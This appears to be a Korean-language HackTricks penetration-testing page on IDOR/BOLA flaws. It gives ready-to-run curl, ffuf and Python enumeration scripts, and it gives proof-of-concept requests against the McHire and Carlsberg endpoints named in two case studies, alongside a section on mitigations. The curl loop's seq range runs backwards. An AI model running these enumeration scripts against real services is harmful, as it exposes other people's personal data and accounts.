IDOR (Insecure Direct Object Reference)

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 사용자가 제어할 수 있는 식별자(user–controllable identifier)를 공개하거나 수락하고, 그 식별자가 내부 객체에 직접 접근하는 데 사용될 때 발생합니다. 이 과정에서 호출자가 해당 객체에 접근/수정할 권한이 있는지 검증하지 않습니다. 성공적인 악용은 일반적으로 다른 사용자의 데이터를 읽거나 수정하는 등 수평 또는 수직 privilege-escalation을 허용하며, 최악의 경우 full account takeover 또는 mass-data exfiltration으로 이어질 수 있습니다.


1. 잠재적 IDOR 식별

  1. 객체를 참조하는 파라미터를 찾아보세요:
  • 경로: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • 쿼리: ?id=42, ?invoice=2024-00001
  • 본문 / JSON: {"user_id": 321, "order_id": 987}
  • 헤더 / 쿠키: X-Client-ID: 4711
  1. 데이터에 읽기 또는 업데이트 작업을 수행하는 엔드포인트(GET, PUT, PATCH, DELETE)를 우선적으로 검사하세요.
  2. 식별자가 연속적이거나 예측 가능한지 주목하세요 – 예: ID가 64185742라면 64185741도 존재할 가능성이 높습니다.
  3. 로그인 페이지의 “Paradox team members” 링크처럼 숨겨진 또는 대체 흐름을 탐색하여 추가 API가 노출되는지 확인하세요.
  4. 인증된 낮은 권한 세션을 사용하고 동일한 token/cookie를 유지한 채 ID만 변경해보세요. 권한 오류가 없으면 일반적으로 IDOR의 신호입니다.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

자동화된 열거 (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

예측 가능한 다운로드 ID 열거 (ffuf)

인증된 파일 호스팅 패널은 종종 사용자별 메타데이터를 단일 files 테이블에 저장하고 /download.php?id=<int> 같은 다운로드 엔드포인트를 노출한다. 핸들러가 ID가 존재하는지 여부만 확인하고(해당 ID가 인증된 사용자에 속하는지 여부는 확인하지 않는 경우), 유효한 세션 쿠키로 정수 공간을 스윕하여 다른 테넌트의 백업/configs를 탈취할 수 있다:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr는 404-style 템플릿을 제거해 진짜 히트만 남깁니다 (예: IDs 54/150 leaking full site backups and signing material).
  • 동일한 FFUF 워크플로는 Burp Intruder나 curl 루프에서도 작동합니다 — 단, ID를 증가시키는 동안 인증 상태를 유지해야 합니다.

인증된 조합 열거 (ffuf + jq)

일부 IDOR는 multiple object IDs를 허용합니다(예: 두 사용자 간의 채팅 스레드). 앱이 단지 당신이 로그인되어 있는지만 확인한다면, 세션 cookie를 유지한 채로 두 ID를 모두 fuzz할 수 있습니다:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

그런 다음 jq로 JSON 출력물을 후처리하여 대칭 중복(A,B) vs (B,A)을 제거하고 고유한 쌍만 유지하세요:

jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Error-response oracle for user/file enumeration

When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:

  • 존재하지 않는 username → “User not found”
  • 잘못된 filename이지만 extension이 유효한 경우 → “File does not exist” (때때로 사용 가능한 파일을 나열함)
  • 잘못된 extension → validation error

어떤 authenticated session이든, benign filename을 고정한 상태에서 username parameter를 fuzz하고 “user not found” 문자열로 필터링하면 유효한 사용자를 찾을 수 있다:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

유효한 사용자 이름을 확인한 후에는 특정 파일을 직접 요청해 보라(예: /view.php?username=amanda&file=privacy.odt). 이 패턴은 일반적으로 다른 사용자의 문서 무단 노출 및 credential leakage로 이어진다.


2. 실제 사례 연구 – McHire 챗봇 플랫폼 (2025)

Paradox.ai 기반의 McHire 채용 포털 평가 중 다음과 같은 IDOR가 발견되었다:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8자리, sequential 숫자 식별자

lead_id 값을 감소시키자 테스터는 임의의 지원자들에 대한 full PII(이름, 이메일, 전화번호, 주소, 근무 선호)와 세션 탈취를 가능하게 한 소비자 JWT를 획득했다. 범위 1 – 64,185,742를 열거한 결과 약 64 million 건의 레코드가 노출되었다.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with 기본 관리자 자격증명 (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.

사례 연구 – 손목밴드 QR 코드의 약한 bearer tokens (2025–2026)

흐름: Exhibition visitors received QR-coded wristbands; scanning https://homeofcarlsberg.com/memories/ let the browser take the printed wristband ID, 16진수로 인코딩하고, cloudfunctions.net 백엔드에 호출해 저장된 미디어(사진/동영상 + 이름)를 가져왔다. There was no session binding or user authentication—knowledge of the ID = authorization.

예측 가능성: Wristband IDs followed a short pattern such as C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). The space was estimated at ~26M combinations, trivial to exhaust online.

Burp Intruder를 사용한 Exploitation workflow:

  1. Payload generation: 후보 ID 생성(예: [A-Z]-###-###). Use a Burp Intruder Pitchfork or Cluster Bomb attack with positions for the letter and digits. Add a payload processing rule → Add prefix/suffix → payload encoding: ASCII hex so each request transmits the hex string expected by the backend.
  2. Response grep: Intruder에서 유효한 응답에만 존재하는 마커(예: 미디어 URL/JSON 필드)에 대해 grep-match를 지정한다. Invalid IDs typically returned an empty array/404.
  3. Throughput measurement: 약 1,000,000개의 ID를 노트북에서 약 2시간 동안 테스트(~139 req/s). At that rate the full keyspace (~26M) would fall in ~52 hours. 샘플 실행만으로도 이미 약 500개의 유효한 손목밴드(동영상 + 전체 이름)가 노출되었다.
  4. Rate-limiting verification: 공급업체가 throttling을 주장한 후 동일한 Intruder config를 다시 실행했다. Identical throughput/hit-rate는 해당 제어가 존재하지 않거나 효과가 없음을 증명했고; enumeration은 방해받지 않고 계속되었다.

빠른 스크립트형 변형(클라이언트 측 hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lesson: Encoding (ASCII→hex/Base64)는 엔트로피를 추가하지 않습니다; 짧은 ID는 외형적 인코딩에도 불구하고 열거 가능한 bearer tokens이 됩니다. 사용자별 권한검사 + 고엔트로피 비밀이 없으면 media/PII는 “rate limiting”을 주장하더라도 대량으로 수집될 수 있습니다.


3. IDOR / BOLA의 영향

  • 수평 권한 상승 – 다른 사용자의 데이터를 읽기/수정/삭제할 수 있음.
  • 수직 권한 상승 – 낮은 권한 사용자가 관리자 전용 기능을 획득.
  • 식별자가 순차적일 경우 대규모 데이터 유출(예: applicant IDs, invoices).
  • 다른 사용자의 토큰을 훔치거나 비밀번호 재설정을 통해 계정 탈취.

4. 완화 방안 및 모범 사례

  1. 모든 요청에 대해 객체 수준 권한 검사를 적용 (user_id == session.user).
  2. 자동 증가 ID 대신 간접적이고 추측 불가능한 식별자(UUIDv4, ULID)를 사용.
  3. 권한 검사는 서버 측에서 수행하고 숨겨진 폼 필드나 UI 제어에 의존하지 않음.
  4. 중앙 미들웨어에서 RBAC / ABAC 검사를 구현.
  5. ID 열거를 탐지하기 위해 rate-limiting & logging을 추가.
  6. 새 엔드포인트마다 보안 테스트 수행(단위, 통합, 및 DAST).

5. 도구

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기